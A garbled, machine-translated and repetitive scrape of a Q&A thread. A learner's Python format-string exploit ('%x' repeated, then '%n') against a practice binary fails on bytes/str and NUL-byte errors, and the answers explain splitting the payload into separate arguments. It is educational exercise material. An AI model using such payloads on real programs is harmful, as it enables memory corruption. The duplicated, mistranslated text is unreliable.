Python &引用;必须是不带空字节的字符串";或;can';t concat str to bytes“;在命令行上传递有效负载
我正在尝试为一个练习创建一个漏洞,但以下代码有问题:Python &引用;必须是不带空字节的字符串";或;can';t concat str to bytes“;在命令行上传递有效负载,python,python-3.x,exploit,shellcode,Python,Python 3.x,Exploit,Shellcode,我正在尝试为一个练习创建一个漏洞,但以下代码有问题: #!/usr/bin/python import os import struct address = struct.pack("I",0x201014) payload = address+"." + ".%x."*131 + ".%n." os.system("/home/osboxes/Desktop/formatString " + p
#!/usr/bin/python
import os
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
os.system("/home/osboxes/Desktop/formatString " + payload)
但错误如下:
TypeError:system()参数1必须是不带空字节的字符串,而不是str
我正在尝试使用“subprocess”实用程序升级到python的当前版本:
但错误如下:
TypeError:无法将str压缩到字节
如何解决两个版本的字节或str转换问题?两个程序都同意错误在“payload=…”行中。该字符串不能在UNIX上作为命令行参数传递。 为什么??因为它包含NUL文本,UNIX命令行由以NUL结尾的C字符串组成
>>> address = struct.pack("I",0x201014)
>>> address
b'\x14\x10 \x00'
看到那个\x00
?不允许,不可能——至少不能作为一个命令行参数
但您可以将其放在argv中,只要将其拆分为多个参数。请注意下面的
shell=False
:
payload = (address + (b'.%x.' * 131) + b'.%n.').split(b'\0')
subprocess.call(['/home/osboxes/Desktop/formatString'] + payload)
这是怎么回事?因为终止每个C字符串的
\x00
隐式存在于边界点。该字符串不能在UNIX上作为命令行参数传递。
为什么??因为它包含NUL文本,UNIX命令行由以NUL结尾的C字符串组成
>>> address = struct.pack("I",0x201014)
>>> address
b'\x14\x10 \x00'
看到那个\x00
?不允许,不可能——至少不能作为一个命令行参数
但您可以将其放在argv中,只要将其拆分为多个参数。请注意下面的
shell=False
:
payload = (address + (b'.%x.' * 131) + b'.%n.').split(b'\0')
subprocess.call(['/home/osboxes/Desktop/formatString'] + payload)
这是怎么回事?因为终止每个C字符串的
\x00
s隐式存在于边界点。类型(地址)
将返回“字节”,而“%n.”、“%x.”
和“%x.”*131
等元素都是返回字符串。您正在混合数据类型。()错误消息的意思正是它所说的。在Python3中,'something'
是一个Unicode字符串,而不是ByTestString。只有不带任何NUL的ByTestRing才能放在命令行上(Unicode字符串需要编码才能到达那里)。此外,通过shell传递负载是一个非常糟糕的主意,因为除非您知道它转换为什么字符,否则在将shell传递给您试图调用的软件之前,您无法判断shell将执行什么类型的咀嚼。使用subprocess.call(['/path/to/formatString',payload])
和默认的shell=False
——在确保payload
确实是一个没有NUL的bytestring之后。(如果它确实包含NUL,您需要将它们用作单独的参数向量条目之间的边界点)。顺便说一句,构建不包含任何NUL的外壳代码以便以这种方式传递它本身就是一门艺术。(另外,除非您关闭了地址空间随机化,否则我不确定这将如何工作……但这是一个关于formatString
的漏洞以及您如何利用它的问题,而不是您所问的关于Python的问题)。我遵循这一点来学习,但“利用”部分似乎已经过时。如何集成它以使其工作?键入(地址)
将返回“字节”,而“%n.”、“%x.”和“%x.”*131
等元素都是返回字符串。您正在混合数据类型。()错误消息的意思正是它所说的。在Python3中,'something'
是一个Unicode字符串,而不是ByTestString。只有不带任何NUL的ByTestRing才能放在命令行上(Unicode字符串需要编码才能到达那里)。此外,通过shell传递负载是一个非常糟糕的主意,因为除非您知道它转换为什么字符,否则在将shell传递给您试图调用的软件之前,您无法判断shell将执行什么类型的咀嚼。使用subprocess.call(['/path/to/formatString',payload])
和默认的shell=False
——在确保payload
确实是一个没有NUL的bytestring之后。(如果它确实包含NUL,您需要将它们用作单独的参数向量条目之间的边界点)。顺便说一句,构建不包含任何NUL的外壳代码以便以这种方式传递它本身就是一门艺术。(另外,除非您关闭了地址空间随机化,否则我不确定这将如何工作……但这是一个关于formatString
的漏洞以及您如何利用它的问题,而不是您所问的关于Python的问题)。我遵循这一点来学习,但“利用”部分似乎已经过时。我如何集成它使其工作?太好了!它不再向我显示任何错误,但它不识别payload参数。也就是说,“formatString”二进制文件要求我在每个屏幕上输入一个字符串。这可能是什么原因?啊。所以,他们在某个地方开发了这个教程,他们试图注入的地址没有NUL,所以它可以全部放在一个C字符串中。你要用的地址不是这样的,所以。。。这是你的问题。基本上,它的缺点是这里不能使用所讨论的漏洞,因此您需要一个不同的漏洞(并且应该遵循不同的教程)。建议这样的教程并不在这里的范围之内(事实上,非现场资源请求)。太好了!它不再向我显示任何错误,但它不识别payload参数。也就是说,“formatString”二进制文件要求我在每个屏幕上输入一个字符串。这可能是什么原因?啊。所以,他们在某个地方开发了这个教程,他们试图注入的地址没有NUL,所以它可以全部放在一个C字符串中。你要用的地址不是这样的,所以。。。好吧,你来了